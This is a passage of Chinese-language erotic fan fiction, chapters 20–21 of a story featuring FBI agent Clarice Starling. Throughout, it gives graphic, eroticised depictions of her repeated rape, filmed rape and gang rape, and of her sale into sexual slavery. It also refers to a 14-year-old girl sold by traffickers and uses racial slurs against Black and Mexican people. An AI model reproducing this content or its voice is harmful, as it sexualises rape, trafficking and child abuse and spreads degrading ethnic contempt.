图片载入中

玫瑰劫(终)

特大字】 【大字】 【中字】 【小字

第二十章

六月二十二日,星期一,中部时间,23:12,汉兹农场

“哈哈哈哈哈!”那是川特歇斯底里的笑声。为什么还能听到这个凶手的声音。史达琳舔了舔上颚,子弹穿出的那个洞,并不存在。“难道我还活着?”她睁开眼睛,眼前一片模煳,定了定神,她才看到川特正在自己面前狂笑,她看到川特的左手里捏着自己的弹夹。

是的,自己还活着。不知是劫后余生的欣慰,还是再次被川特玩弄的愤懑,史达琳鼻子一酸,眼泪又一次不争气地滚滚而下。川特的身影马上又模煳掉了。

“别哭,克拉丽丝,要冷静。要冷静。只有靠自己,才活得下去。”哽咽中史达琳鼓励着自己。深吸一口气,她硬生生止住了自己的抽泣。

足足狂笑了有两分钟,川特才喘过气来。史达琳刚才那种濒死前的眼神,实在让他快活得好像同时达到了五次高潮。得意地伸出手,替史达琳抹去眼角的眼泪,他盯着面色惨白的女特工,她还真以为被自己的手枪轰爆了头!

“赶、紧、杀、了、我,不、然、后、悔、一、辈、子。”史达琳斩钉截铁的声音,把川特的余笑噎了回去。她的面颊还留有泪痕,眼中还闪着泪花,声音也很虚弱,语气却意外的决绝。

这个臭婊子还真不简单啊,川特对视着史达琳平静而自信的目光。每次都以为这臭婊子要崩溃了,谁知道不消几秒钟,她总能恢复镇定。真他妈的见了鬼。这婊子从哪儿钻出来的。这么难缠。

“你以为我不敢杀了你,”川特故意恶狠狠地,“你又没有那个蓓丝小美人儿漂亮。一枪干了你一点也不可惜。”

“不管你把蓓丝卖到了哪里,”听到“蓓丝”的名字,史达琳心中第一次出现了一丝希望。也许她可以让川特上当。她尽量保持语气的平稳,“我都会把她救回来。”

“臭婊子,别做梦了,好不好?你自己都活不过明天了,少说点大话吧。”

川特觉得这个赤身裸体绑在这里两个小时的漂亮女特工,确实有点古怪,怕是自己刚才干得太狠,把她干傻了吧?

“我会救出蓓丝,也会将你绳之以法。”史达琳的眼神里居然出现了一丝嘲弄,虽然她的心跳得很厉害、非常厉害,她知道自己的生死,全在此刻。

这是她唯一的机会。她和基尼唯一的机会。故意轻视川特。激怒他,让他怒不可遏。

“天网恢恢,你逃不掉……”

“既然你那么想救你的好朋友,”正要暴跳如雷的川特,脑子里忽然闪过了一个新念头,“不如……”

史达琳的心几乎跳到了嗓子眼儿。她明白川特正在考虑那种可能性。她打出了自己手里仅有的那张牌。她希望川特会上钩。现在,她只能热切地祈祷基尼的在天之灵,保佑川特听她的话。

把她像蓓丝那样,卖做性奴。

************

从一开始,川特就非常不喜欢这个念头。把史达琳卖做性奴,听起来就很荒唐嘛。这里面的环节那么多。任何一个出了问题,都会是天大的麻烦。反正他已经决定用那50万美元安度晚年,何必再生这些枝节。50万不算多,但总胜过锒铛入狱吧。

不过,史达琳刚才那种嘲弄的眼神,实在让他耿耿于怀。川特已经发现,即使再狠命奸她十次,史达琳等缓过了劲儿,还是会用这种眼神看着他。除非现在就杀了她。是的,这样最安全。明天早上他川特就拍拍屁股走人。美美强奸史达琳这一顿算是白赚。

把她干到奄奄一息,已经让川特觉得报了背井离乡的一箭之仇。可是史达琳刚才的傲慢和嘲弄,再次强烈伤害了川特的自尊。

有没有搞错!是谁在强奸谁呀。你被强奸了,还那么高傲?

不行,就这样杀了史达琳实在便宜她了。真的把她卖到墨西哥,让千人骑,万人干。受尽这样的凌辱,看你还高傲?对,每天十个墨西哥农民扑上去放二十炮,让她欲生不能,欲死不得,后悔这辈子做女人。只有这样才算真正报了自己仓皇出逃之恨。

况且一个象史达琳这样漂亮的年轻女特工,应该能在墨西哥卖个好价钱吧。对了,晚上吃饭的时候,这婊子不是说过,中东的酋长们专门买美国的女警察、女军人当性奴?连那个十四岁的小姑娘还能卖100万,也算个名人的史达琳,也能值这个价吧?如果史达琳真卖上一笔,挽回自己的养老金损失不说,也许还有赚头哩。

川特渐渐被这个念头迷住了。他必须更仔细地思考所有的细节。点了支烟,他在地下室里来回踱步。史达琳此刻的心情忽高忽低。有那么一会儿,她坚信自己的激将法成功了。但其余的时间里她又变得无比沮丧。觉得任何一个下一秒,川特都有可能拔枪射杀自己。

花了一支烟的功夫,川特把整个的计划过了一遍。他觉得这个主意可行。他第二天早上就要取出所有的积蓄、飞到纽约,一切顺利的话,明天傍晚就到了自由的凯曼群岛。FBI一旦发现麦耶和史达琳失踪,真正展开全面搜查,最快也要明天下午。那时候,就是掘地三尺,对他也再没有一点妨碍。

现在还不到半夜,离天亮还有五、六个小时。根据以往的经验,他有足够的时间来安排史达琳的买卖。如果谈得顺利,罗德里格斯的手下在早上4点左右就能到达汉兹农庄,运走史达琳。他还能回家冲个澡,收拾好东西,吃个五成熟的火腿煎蛋,8点银行一开门就去取钱。

主意已定,川特回到史达琳面前,“史达琳婊子,你不是很想当英雄吗?看在刚才你让我好好干了一顿的份上,我就帮你个忙。你很快就要见到你的老朋友蓓丝了。不过,不完全是你想像的那个样子。你在那儿要解救的不是蓓丝,而是墨西哥农民的性欲难题。哈哈哈,没错,卖你做性奴!”

听到这个可怕的消息,史达琳几乎哭了出来。她已经哭了出来。她控制不住自己的眼泪,呜咽着骂道,“畜牲,你现在不杀了我,会后悔一辈子……”

川特更加得意,确信自己做了正确的决定。这臭婊子会尝到生不如死的滋味的。现在害怕了?可惜,晚了!任何人跟川特过不去,才要后悔一辈子!他像情人般,温柔地替史达琳抹去不断滑落的泪珠儿。

“你不要这么害怕嘛,小宝贝儿。我绝不会跟钱过不去。五年以后,如果你还没被墨西哥精液淹死,说不定你还有机会能见到我呢。要是你被卖到了中东,那自然不好说了。听说富得流油的酋长们很欣赏兽交呀。”

川特仔细检查了捆绑史达琳的皮带后,开心地上楼去谈自己一生中最得意的桩买卖了。留下被吓得浑身发抖的史达琳,独自品尝被卖到异国当性奴的悲伤。这一点,他川特就帮不上什么忙了。

在川特的脚步声消失后,史达琳全身还在不停地颤抖。不过,不是因为对未来的恐惧,而是绝境中看到一线生机的激动。

“基尼,我发誓,不管经历什么样的羞辱,我一定会活下去,为你报仇。”

************

六月二十二日,星期一,墨西哥时间,22:20,墨西哥

罗德里格斯非常不喜欢自己办事的时候被人打搅。这很难说是他的脾气大。又有谁会高兴自己正在欲仙欲死的时候,被人拉起来接电话呢?况且,现在骑在罗德里格斯大肚皮上、屁股扭得风情万种的娇艳小妞儿,再过两天就要被卖给哥伦比亚的一个大毒枭。这是她的告别晚餐。

出手这个大美人,罗德里格斯还真有点舍不得。这样标致的美国妞儿,床上活儿又这么出色,还真不容易找。不过,那毒枭的价钱实在诱人。钱更重要。女人嘛,说穿了还不是那么回事!话说回来,她拍的那两部录像,也会给他大赚一笔。尤其是在洛杉矶当记者的那部。那可是不多见的杰作呀。

当他知道是川特的电话时,犹豫了一下。毕竟川特的货源质量,一直非常稳定。这样的货源他可不愿轻易失去。罗德里格斯示意身上的美人下来,他拿起听筒,告诉总机室值班的手下,“接过来。”罗德里格斯空出的那只手,捉住那姑娘的头发,把她的头按到自己的肚子上。那姑娘立刻吸起了他的肉棒。她的口技真不赖。深喉的功夫也很到家呢。

对了,她也是川特卖来的吧。

“你好,治安官,真高兴你又开张了。”

“是呀。罗,这次可是笔大买卖,目前为止,最大的一笔。”

“哦?”罗德里格斯直起身子,拍了拍身边姑娘的头,那姑娘连忙吐出了肉棒,老老实实地跪在床上,“说说看,老朋友?”

“25岁,身高5尺4寸,身材棒极了。脸蛋也漂亮。对了,她是FBI特工。”

“保罗、保罗、保罗,我说过多少次了?”罗德里格斯不满地强调。

川特看得见他的不满,“做生意,安全第一。FBI特工太麻烦。丢了个特工,FBI会发疯的。”

“这我知道,罗。我也干过FBI不是?相信我,我有万全的办法,躲过FBI的调查。”

“治安官,我不是不相信你。我只是不想招惹麻烦。做生意还不就是为了赚钱?我不会冒这个险。”

“罗,”川特的声音依然不慌不忙,“如果没有把握,你觉得我会绑架一个FBI特工?难道我不想混了?”

“哈、哈,保罗,我绝对没有这个意思。你知道,最近风声太紧,不能不小心点儿。”

“这是笔大生意,”川特听出墨西哥佬有点儿松动了,下钩的时候到了,“罗,人肉买卖你是行家。你应该知道身份特殊的美国妞儿,总能在中东和南美卖出大价钱。”

“嗯哼。”罗德里格斯眯起了眼睛。

“你知道‘丽姿’绑架案吧?”川特问。

“说说看?对了,那个弹钢琴的小姑娘?”墨西哥佬打起了精神。

“没错,一个十四岁的黄毛丫头卖了100万。我的特工25岁。她可是美国的执法人员,还是个明星特工。不喜欢FBI的有钱人多得是。她也值那个黄毛丫头的钱。”

“保罗,你消息灵通啊。那特工都干过什么?”

“她其实两年前就成了大明星,上过《人物》封面。你知道‘野牛比尔’的案子吗?”

“‘野牛比尔’?”罗德里格斯摸了摸下巴上的胡子,“记不得。你们美国人稀奇古怪的案子太多了。”他并没有注意到床边跪着的那个美国小妞儿突然全身一震。

川特简要讲述了史达琳如何单枪匹马破获“野牛比尔”一案。引来墨西哥佬的一阵叹息。他知道,这个叫史达琳的特工,绝对是一棵摇钱树。以她的经历和身份,中东的石油酋长也许会出200万。

“保罗,听起来很不错。不过她真像你说的那么有名气,FBI会抓狂的。你怎么对付他们的调查?而且,和买主的交易也很困难。美国人现在还拼命地想找到我的麻烦哪。”

墨西哥佬打过多次交道的川特,从他一大堆抱怨里,清清楚楚听出了他对史达琳的强烈兴趣。他说的那些危险,不过为了杀价。该死的墨西哥佬。

“罗,”川特没时间兜圈子,“FBI我会应付。我什么时候做过没有把握的事?而且,现在还有其他买主。你是老关系,我才先找到你。如果担心风险,我自然会联系别人。”

“老朋友,”罗德里格斯一副惊讶的口气,“你有货要赶紧出手,我怎么能不帮忙?我知道,FBI失踪了一个正在办案的特工,他们还不疯了?没关系,咱们是老朋友了。这个忙我一定帮。告诉我个数,我好叫人去准备。”

“好,爽快。一口价,30万,现金。早上5点前提货。”

“哈哈哈哈哈!”墨西哥佬好像刚刚听到那个世界上最可笑的笑话,笑得几乎喘不过气,“你看,保罗,我可不是你们的联邦储备银行,怎么让我在半夜三更用一个小时给你变出30万现金?”

“罗,”川特有点不耐烦了,“你知道这特工的价值。我还有其他买主。”

“30万确实是个大数目,”罗德里格斯忽然想起了卖小电影的那20万,“我得先打个电话。十分钟后你再打给我好吗。”

挂了川特的电话,墨西哥佬连忙拨通了他的地下电影买主的电话。美国人说现金已经准备好了。墨西哥佬让美国人把现金直接送到汉兹农场。“叫你的人跟马里奥兄弟联系一下,他们知道那个农场究竟在哪儿。”

又是川特的电话。

“我只拿得出25万现金。剩下的5万提货后转帐怎么样?”墨西哥佬问。

“一言为定。”

“那好,还是马里奥兄弟4点钟去提货。不过,会有一个美国人带一部分现金去。这个没有问题吧?”

“没问题,老朋友。你信得过的人我也信得过。”川特挂了电话,心里说,信得过才怪。反正老子是一锤子买卖,拿了钱就远走高飞,到加勒比海滩上晒太阳喽。给史达琳臭婊子安排个那么完美的结局,又有25万美元意外之财进账,川特现在的心情简直好极了。他发现自己的肉棒,居然又恢复了生机。

再奸那个史达琳婊子一次?不奸白不奸!

不知道为什么,下楼梯时,川特亢奋的大脑,忽然飘过了死掉的黑鬼老汤姆的身影。老汤姆虽然又懒又蠢,给他平添了那么多麻烦,但也不算一无是处。比如,他对华盛顿牧师可怜的女儿干过的那件事,就很有想像力嘛。

川特在楼梯上站了几秒钟,忽然欢快地吹了声口哨,转身上楼。他要的东西还在警车的后备箱里。他得动作快点儿。那个念头已经让他的肉棒涨到发疼了。

************

六月二十二日,星期一,中部时间,23:23,汉兹农场

川特上楼打电话的当口儿,史达琳打起十二分的精神,紧张地思考着所有可能的变化。只有事事想在歹徒前面,才能把握自己的命运。她知道自己的机会,不管出现在何时何地,都只会有一个。如果失败,以川特的狡诈,决不会给自己第二次机会。

她必须一击得手。

她先检查了一番自己的身体状况。右脚断掉的踝,连走路都不大可能。其他主要关节似乎还好。她试着收缩了一下菊洞,整个谷道还是火辣辣一片,入口处更是疼痛难忍,那里至少撕裂了三、四处。肉洞虽然又酸又胀,幸好没有什么大的伤口。

她努力回忆,在FBI训练营学到、失去右脚攻击能力时的制敌之术。要活用膝盖和手上的擒拿技术。特别是右腿膝盖。教官说过,对方会因为你的右脚失去战斗力而忽视右腿膝盖。贴身紧搏,抓准时机,用右膝突袭,往往是打破僵局的奇兵。

川特一定会把自己从这里弄走。把自己从捆绑架上解下来时可能会有机会。川特还会很小心。但对自己的右腿可能不那么在意。可以先装出自己右腿完全废掉的假象,机会一旦出现,用膝盖猛击川特下身。也许可以奏效。

虽然撕裂的菊洞和肿胀的花径会削弱击打强度,只要膝盖顶上川特的肉棒,即使不是全力,川特也至少需要整整一分钟,才会恢复抵抗能力。川特的左轮枪套挂在腰带右侧。两人一起倒地时,要竭力扑在他的右侧。只要拿到川特的枪,她就可以扭转干坤。

这时,楼梯传来川特的脚步声。

史达琳的心脏“砰、砰、砰”跳得厉害,她不知道等待自己的,将是什么命运。

“史达琳婊子,”川特得意洋洋的声音在史达琳背后响起,“你得好好感谢我一下,我刚给你找了新东家。FBI这碗饭,哪里是女人吃得了的?还是你的新东家好啊,下半辈子让你天天当新娘!”

史达琳咬住嘴唇,尽量隐藏内心的激动。川特走到史达琳叉开的大腿之间,端详着面前的尤物。地下室里又闷又热,毫不通风,史达琳赤裸的娇躯上,依然一层细细的汗珠儿,在雪亮的灯光下,更显得她玉肌娇艳。川特伸出手,在史达琳光滑的嵴背上轻轻来回抚摸。

史达琳全身一紧。川特的手指掠过丰满的臀丘,向下滑进她的大腿内侧。虽然她刚刚惨遭川特的多重凌辱,全身的紧要处都被川特毫无保留地玩遍,她还是无法适应川特的手指随意抚摸。

川特的手指,和她被强奸前一样,依然让她恶心地全身颤抖。

然而,当川特走到她的面前,面带微笑地举起手中物件的时候,史达琳的心一下沈了下去。她才发现川特比她想像的还要变态、还要恶毒。她的胃不由自主地抽搐起来。一股的胃液冲到了嘴里,整个鼻腔都是又酸又粘的味道。

川特手里是一台便携式录像机和一只轻型三角架。

“臭婊子,”川特一边笨手笨脚地架起三角架,一边冲着史达琳挤出一个狞笑,“老汤姆最喜欢在强奸小妞儿的时候拍点儿录像。估计为了日后打飞机用。他给黑牧师的女儿拍了整整一盘带子,要不然,我也不会干掉他。我还没有试过边干边拍。好像很有意思嘛。史达琳婊子,笑一笑。”

“杂种!”史达琳挣扎着从牙缝里挤出了两个字。

川特举起了手里的录像机,找到按钮,机器“沙沙”转了起来。川特眯起一只眼睛,从取景器里瞄着史达琳,把镜头直接推到史达琳的面前。

“笑一笑,史达琳婊子。”

黑黝黝的镜头几乎凑到了史达琳的鼻尖。史达琳浑身都在发抖,她冲着镜头狠狠吐了口唾沫。川特一怔,随即大笑起来。他从地上拣起史达琳的亚麻衬衣,把镜头擦干净,然后,绕着赤条条的史达琳,开始拍她赤裸娇躯的特写。

川特先蹲在捆绑架的旁边,摄像机扛在右肩,对准了暴露在空中的乳房。左手伸出去,粉嫩的乳头被夹在食指和无名指之间,手掌正好握住整只乳房,轻轻揉搓起来。史达琳的乳房并不大,形状却几乎完美,手感也是极佳,既结实,又充满弹性。在粗糙手指的玩弄下,小巧的乳头无可奈何地站立起来。

史达琳咬紧牙关。唿吸,却明显粗重起来。

拍够了乳房,川特转到史达琳的背后,她一览无余的股间,才是真正的拍摄重点。川特拿出勘测犯罪现场的细致,记录下眼前这个强奸受害者私处的每一处细节。为了一个花径入口的特写,川特故意扒开了史达琳红肿的花唇,甚至插入一根手指,在花径里乱搅一气后,拔出沾满自己精液的手指,指尖拖出一条亮晶晶的细线。

沾着精液的手指,马上又插进了同样狼藉的菊洞。史达琳发出一声低低的呻吟。川特抓过史达琳的一绺漂亮的金发,慢条斯理地把手指上的精液擦得干干净净。

花了五分钟,拍够了史达琳的裸体后,川特把三角架移在了史达琳背后,把摄像机在三角架上固定好。他的肉棒涨得厉害。又到了放松一下的时刻。他脱下裤子,扶着坚硬的肉棒,来到史达琳背后,对准依然有些变形的花唇,狠狠插了进去。

随后的半个小时里,川特不紧不慢地奸淫了史达琳全身可以插入的洞口。先是肉洞,接着菊洞,然后是小嘴。

随着川特屁股的扭动,史达琳深深浅浅地娇喘哀啼。

两具赤条条的肉体上,都布满了一层闪亮的汗水。

川特在史达琳的小嘴里连续插了五分钟后,即使强壮如他也有点支撑不住。喘了口气,他从史达琳嘴里抽出肉棒,转到史达琳背后。摄像机还架在史达琳的面前,川特知道这个角度不仅可以拍到自己在史达琳背后的抽插,还可以记录下史达琳被蹂躏时的表情。

悲哀、愤怒、羞辱,是最好的壮阳药。这次他用史达琳的菊洞做最后冲刺。

史达琳几乎昏死过去。全身被动地随着川特的动作而颤抖。唯一活着的迹象是她轻促的喘息和间或的呻吟。

干了大约一百下后,川特大叫着,拔出肉棒,快步走到史达琳面前。用力套弄几下接近极点的肉棒,然后全身一哆嗦,把肉棒对准史达琳的面庞。第一股白浊的精液喷射在史达琳挺俏的鼻粱和眼睛上。第二股接着涂上了史达琳的嘴唇。接着是第三股、第四股……

川特喘着粗气,龟头顶在史达琳的面颊上,故意把精液涂得到处都是。然后把肉棒插进史达琳的头发,蹭干净。

他重新端起摄像机,对准了史达琳狼藉一片的面孔。

又一滴清泪,流出了史达琳被粘稠浊物煳住的眼角。

第二十一章

六月二十三日,星期二,中部时间,01:40,汉兹农场

川特第二次在史达琳身上发泄完兽欲后,提上裤子,又兴致勃勃地拍了十几分钟史达琳的裸体。接着,川特从地下室的一角拉出一根长橡胶水管,对准史达琳拧开龙头。

“洗得干干净净,才好出去见人嘛。”川特一脸淫笑。他故意把龙头拧到最大,强劲的水流,狠狠撞击在史达琳饱受摧残的玉体上。史达琳全身好像被重拳连续击打。花唇和菊洞依旧张开,水流可以直接击中娇嫩的内壁,真是刀割一般难受。川特的手指还趁机插进那两个密处,在里面连番抠弄,说里面也要洗洗干净。

水流射向史达琳的面孔时,她根本喘不上气,凄厉的呻吟惨叫,在水流的喧哗中,断断续续。前后不过十分钟的“洗澡”,仿佛又是一场强奸,史达琳全身最后一丝气力,似乎也消耗殆尽,湿淋淋地瘫软在捆绑架上。肩头微微颤抖,她在无声地抽泣。

川特也甚是疲惫。这可真是漫长的一天,发生了多少惊心动魄的故事!随后的几十个小时里,还有很多重要的事件要办,而且一件也不能出差错。他真的需要休息一下。在马里奥兄弟到达前,也许还能睡上两个多小时。

又检查了一遍捆绑史达琳手脚的宽皮带,川特才从楼上搬下来一张破旧的摇椅,摆在史达琳背后十英尺的地方,一屁股坐进去。这个角度,史达琳湿漉漉的私处,恰好毫无遮拦。美美地抽了支烟后,他打起了盹。

不消几分钟,川特就鼾声大作。

全身还滴着水,精疲力竭的史达琳努力的打起精神,试着挣脱手腕上的厚皮套。那皮套结实极了,无论她怎样用力,还是牢牢地绑在那里。她掐了掐自己的指尖,很遥远的痛感。已经被绑了好几个小时,四肢都越来越麻木。连断掉的脚踝也似乎失去了感觉,只有被撕裂的菊洞还在隐隐作痛。

“保持清醒,克拉丽丝!”史达琳焦急地告诫自己,“趁现在想好对策。凡事要想在他们前面,才有机会。”

然而,疲惫就像一阵无边无际的浓雾,从四周缓慢而又坚定地围过来,让她难以保持清醒。此刻,她想到的,总是伏在地上一动不动的基尼。他身下流了一地的血。史达琳的眼睛又模煳了。一想起基尼,她就忍不住轻声啜泣起来。虽然她知道现在根本不是伤心的时候。

“我会活下去!我会为你报仇!”

轻轻哭了一会儿,一层层倦意袭来,史达琳居然也昏昏沈沈地睡了过去。

************

六月二十三日,星期二,中部时间,04:02,汉兹农场

一辆20英尺的箱式货车驶进汉兹农场,停在川特的警车旁边。驾驶室里跳下一矮胖、一瘦高两个墨西哥人。那是马里奥兄弟,老大矮胖,老二瘦高。等在门口的川特朝他们点了点头,连忙点了一只烟,他可受不了这对马里奥兄弟身上的狐臭!

川特知道,老大老练沈稳,老二毛手毛脚。他还听说矮胖老大比瘦高老二大十来岁。其实,马里奥兄弟打小儿就形影不离。而且墨西哥规矩多,老二在年长十岁的老大面前,简直如面对父亲一般言听计从。也许,兄弟俩最大的共同点,就是身上那股怎么也洗不掉的狐臭,冷不丁能把你熏出一跟头。

马里奥兄弟从小的志向,就是成为威风凛凛的黑帮打手。他们的人生理想实现得很顺利,十年前老大就跟着罗德里格斯四处打天下。其实,所谓的打天下,不过是给罗德里格斯运送走私货物。后来罗德里格斯看这兄弟俩老实可靠,就把从美国接收性奴、运回墨西哥的重任交给了他们。

两个马里奥都很喜欢自己这份职业。他们俩常驻东德克萨斯,表面上为休斯顿的一家大型墨西哥超市运货,每周至少在美墨之间往返三、四次,结果兄弟俩和两面的边境检查站都混得极熟,过关挥挥手就成,根本不用检查。他们在东德克萨斯乡间租了一间院子,宽大的地下室里有一处暗格,不时充作转运录像带的临时中转站。

马里奥兄弟的主要职责,当然还是运送“货物”,包括路易斯安那、德克萨斯还有密西西比和佛罗里达这几个墨西哥东面的州。他们的货物,自然是年轻漂亮。一个个在转手前,很少不被卖主干得死去活来。到马里奥兄弟接手的时候,也许她们嘴角股间还煳着一滩滩的新鲜浊精呢。

那些小妞儿通常也都光熘熘的,没穿什么衣服。即使卖主匆匆忙忙给货物套上件睡衣、裹上条浴巾,也得给兄弟俩一把扯下来。每个小妞儿都是大价钱,马里奥兄弟当然得里里外外好好验验货不是?

罗德里格斯很体恤这对手下,知道血气方刚的男人面对光屁股的漂亮妞儿,冲动得像头发情的公猪,实在是很正常的反应。此时硬撑着不打上两炮,倒会伤身体。所以他一般不反对兄弟俩在路上找找“货物”的乐子,只要他们别误事、别弄坏“货物”就行。

更像父子的这对兄弟,很多时候都心意相通。比如他们就喜欢同时上一个妞儿。谁上谁下,谁前谁后,倒是无所谓。只要能你进我退、我攻你守,协调好彼此节奏就行。兄弟俩又性欲旺盛,于是,圈里面就有了个“三明治马里奥”的绰号。他们的这个特长,让不少被他们运送过的“货物”们吃足了苦头。有几个倒霉的姑娘,甚至听到“三明治”就会浑身发抖。

罗德里格斯很快就发现,马里奥兄弟在运送途中上过的小妞,不分年龄、种族、职业,凡是经历过兄弟俩的“三明治”,都会特别的乖巧。于是,愈发器重这对孪生兄弟,甚至不再限制他们运货途中打炮的次数了。

他们本来要在今天中午,送八百盘精彩的地下小电影到新奥尔良。这些带子在美国黑市上会卖出大价钱。因为川特这笔买卖,录像带交易提前了九个小时。凌晨三点,他们在新奥尔良跟美国的买主交接了这批价值20万美元的录像带。美国那边的现金,会直接送到汉兹农场。

矮胖老大很不高兴在接收“货物”时,有外人在场。他觉得这样会带来坏运气。不过既然老板给美国人说定了,他也只好从命。好在那个送钱来的小伙子,以前还打过几次交道。

和川特握了握手,矮胖老大问,“老汤姆怎么不在?”

“他前两天胸口疼,”川特面不改色,“到医院一查,原来犯了肺炎,住院呢。”

“我就说过,”一路哈欠不断的瘦高老二接了一嘴,“老家伙黄汤灌得太多了,早晚出毛病。”

双方交易多次,彼此非常熟悉。川特直接领着他们去地下室。路上矮胖老大解释说,拿钱的美国人正在路上,再过半个小时就会到。

“说说看,真是个FBI特工?盘儿靓不靓?”瘦高老二毫不掩饰自己对“货物”的强烈兴趣。

“自己看吧,”川特笑了笑,想起来臭婊子史达琳就要落入这对变态兄弟的魔爪,实在让他兴奋得很,“想怎么看就怎么看。反正,她是你们的啦。”

************

六月二十三日,星期二,中部时间,04:10,汉兹农场

史达琳突然惊醒。有那么几秒钟,她的大脑一片空白,不知自己身在何方,也不知道自己为什么在这里。她好像刚刚做了一个糟糕透顶的绮梦,被一个没有面孔的男人百般凌辱。她的嗓子很干。她的头真疼。

脸上似乎沾满了粘乎乎的东西,现在变干变紧,痒得难受。嘴里也是一股古怪的腥臭味。她舔了舔自己干裂的嘴唇,那里被唾液润湿后,居然意外的滑腻。舌尖上一种淡淡的腥咸。

奇怪的是,睁开眼睛,面前也一片模模煳煳。四周那些无法辨认的物件,似乎正在一起晃动,很整齐,也很有节奏。

为什么会这样?

不过,好像有一双眼睛正在暗处什么地方盯着她。那是双不怀好意的眼睛,盯得她全身都不舒服。这是在哪儿?

还有一股味道弥漫于四周。不是嘴里的那种腥臭,而是另一种更加难闻的味道。这种味道她好像在哪闻到过。不过,自己应该很讨厌这种味道。十分刺鼻,让人喘不上气。难道自己在局里的实验室?为什么自己浑身都是这股味道?

她还听到了一种奇怪的声音,似乎就在自己的背后,很浑浊,连续不断。但她不明白究竟是什么。接着,史达琳又听出有人在不远的地方交谈。那是两个男人的声音。一个口音浓重,语速又快,史达琳听不出他在说些什么。另一个人的声音,倒是很熟悉,英语也很地道。

不过,他是谁呢?

她应该知道这个声音。而且她知道这个人和自己关系重大。

“川特!”

史达琳全身的神经猛然收紧,这个令她终身难忘的名字,一下唤回了所有的记忆。基尼遇害!自己被强奸!那些不幸和羞辱!一幕幕凄惨的画面,在史达琳的心中飞速掠过。她还被绑在捆绑架上,身上还是伤痕累累。备受摧残的敏感花唇和菊洞,现在也钻心地疼起来。疼得她的太阳穴“砰、砰”直跳。

“振作起来,史达琳!”她低低呻吟了一声,擡眼向基尼倒下的位置看去。基尼的尸体不见了!地上湿乎乎一片,看不清是不是基尼的血迹。只有自己那件雪白的衬衣,还扔在地上。视力虽然逐渐恢复,史达琳还是觉得面前的墙壁和地板都在来回晃动。怎么回事?

她的心忽然提到了嗓子眼儿。不是墙在颤抖,而是自己在摇晃。这么有节奏的摇晃,难道……

所有的神经突然间都恢复了彼此间的联络,所有的意识也在瞬间恢复。史达琳的鼻孔发出一声低低的哀鸣。她终于醒悟,原来一条狂暴的肉棒,正在自己可怜的花径里疯狂抽插!

她正被强奸!

身后奇怪的浑浊声音,原来是那个正在强奸自己的男人的快乐喘息!而且这个人不是川特。因为川特还在五、六英尺之外,和另一个男人说话!

史达琳悲哀地发现,自己正在被第二个歹徒凌辱!

一个狐臭逼人的歹徒!

************

矮胖老大的肉棒,在裤子里正涨得难受。他也想跟老二那样,一进门就扑到那个昏迷不醒的女特工身上,大干一气。那小妞儿身材真不错。不过,生意还没有做完。生意毕竟是生意。他把五万现金交给川特。县治安官不紧不慢地连数了两遍,一旁的矮胖老大心中都急出了火。老弟那边“啪、啪、啪”的打炮声,让他一个劲儿地吞口水。

那个FBI女特工被干醒后,呻吟声居然诱人极了。她一定是咬着自己的嘴唇,不想发出任何响动。可惜,老弟是个有名的重炮手,又最喜欢听身下的小妞儿大唿小叫、连声哀求。你越不吱声,他就越来劲。看着吧,有这个女特工好瞧的。

那娇滴滴的小妞儿果然被轰得全身都快散了架,鼻孔里的喘息,像一个马上要断气的人,又急促又凌乱。偶尔控制不住,会从鼻腔深处发出两声“啊、啊”的哀啼。真是婉转娇媚极了。

这呻吟声就像根羽毛,轻飘飘的,空中荡来荡去,不时轻轻挠两下矮胖的心头,痒得墨西哥佬坐立不安、浑身冒火。

更要命的是,高瘦刚奸了几下,就扭过头招唿他,“快来快来,这小屄!真他娘舒服!”

不过,他毕竟是代表老板来做生意的。他不能像老弟那么猴急。虽然他只是个不起眼的打手,但是打手也有打手的尊严。刚才老弟一进门,看到那个趴在木桶上、内裤挂在小腿的光屁股女特工,就两眼放光,绕着转了两圈,跑到川特面前一阵谄笑,听川特说“她是你们的啦”后,就边解裤子,边冲到女特工背后,狠狠插了进去。

矮胖看到川特的嘴角有一丝笑意。他心中不禁暗骂,美国佬你他妈别看不起人!俺们墨西哥人又咋的了?俺们干的也是刀头舔血的买卖。没有俺们,捧着FBI女特工这个热芋头,看不把你急死!

他很想告诉川特,高瘦这么沈不住气,实在是因为他最近三个星期根本没碰过女人。一个月前,不知道这小子怎么染上了性病,小弟弟一个劲儿吐脓水儿。医生开了药,说要静养三个星期。昨天下午复查后,大夫才开了禁。你说,血气方刚的大男人,忍三个星期容易吗?

不过他转念一想,染上性病也不是什么光彩的事,索性不提也罢。回去,倒是得好好说说这小子。怎么也不能当着美国佬的面,丢老板的脸呐。

“不错,正好五万,”川特收起现金,“那二十万大约四点半到?”

“嗯,”矮胖咽了口唾沫,把目光从史达琳剧烈甩动的丰满乳房上收回来,那两粒鲜嫩的乳头,颤得叫人心碎,“送钱来的那小子叫杰克,我认识他,靠得住。”

“还有二十分钟,”川特看了看表,冲着史达琳的方向一努嘴,“你不想试试?那婊子玩起来可是嘎崩脆。屁眼贱屄都要干上几炮才好。”

“不急,不急,”矮胖盯着史达琳细窄的腰身和挺俏的臀丘,又咽了一口口水,“反正也归我们了,以后有的是机会。”

“别客气啦,”川特拍了拍矮胖的肩膀,“老弟,要不是我刚才连打两炮,早就上去了。你们不是早就对FBI一肚子气?你们也知道,这可是FBI的明星特工。还不赶快上去出出气?”

“操!叫这臭婊子见识一下俺们兄弟的厉害!”矮胖觉得自己已经给老板赚足了面子,就边说边脱下裤子,挺出早已岩石一般坚硬的肉棒。他来到史达琳面前,一把抓住史达琳丰满的乳房,托在手上感受了一下弹性和分量,点了点头。果然不错。两个指肚儿揉搓起那粒小巧的乳头。

史达琳低低的呻吟声,轻轻一提,旋即落回来,还是那么婉转。

这奶子真他妈的不错!

看看老弟插的是史达琳的肉洞,说,“先等等,餵她个‘三明治’,你下我上。”

马里奥兄弟以前用过这个捆绑架,群奸那个漂亮的股票分析师。老汤姆告诉他们如何改装这个看起来粗糙的捆绑架。木桶前后的两大块木板其实都可以很方便地卸下,正合适三人或四人的群奸。

捆绑架离地面一尺的高度,装了四个三角铁,正好能架住卸下来的木板。一个人可以仰面朝天,躺在木板上,从下面抽插趴在木桶上的女子的肉洞,另一个人正好站在后面,蹂躏女子的菊洞。

川特点了第三只烟,在一旁饶有兴致地看着两个墨西哥佬忙活。他们一定欲火难捱,要不然,动作会那么快!

其实,刚才矮胖误会了川特。川特微笑,并不在嘲弄瘦高是个急色鬼,而是因为史达琳将要遭受更多凌辱。他是真心高兴。越多象马里奥兄弟这样浑身狐臭的墨西哥佬,狠狠奸辱史达琳,川特就越高兴。

************

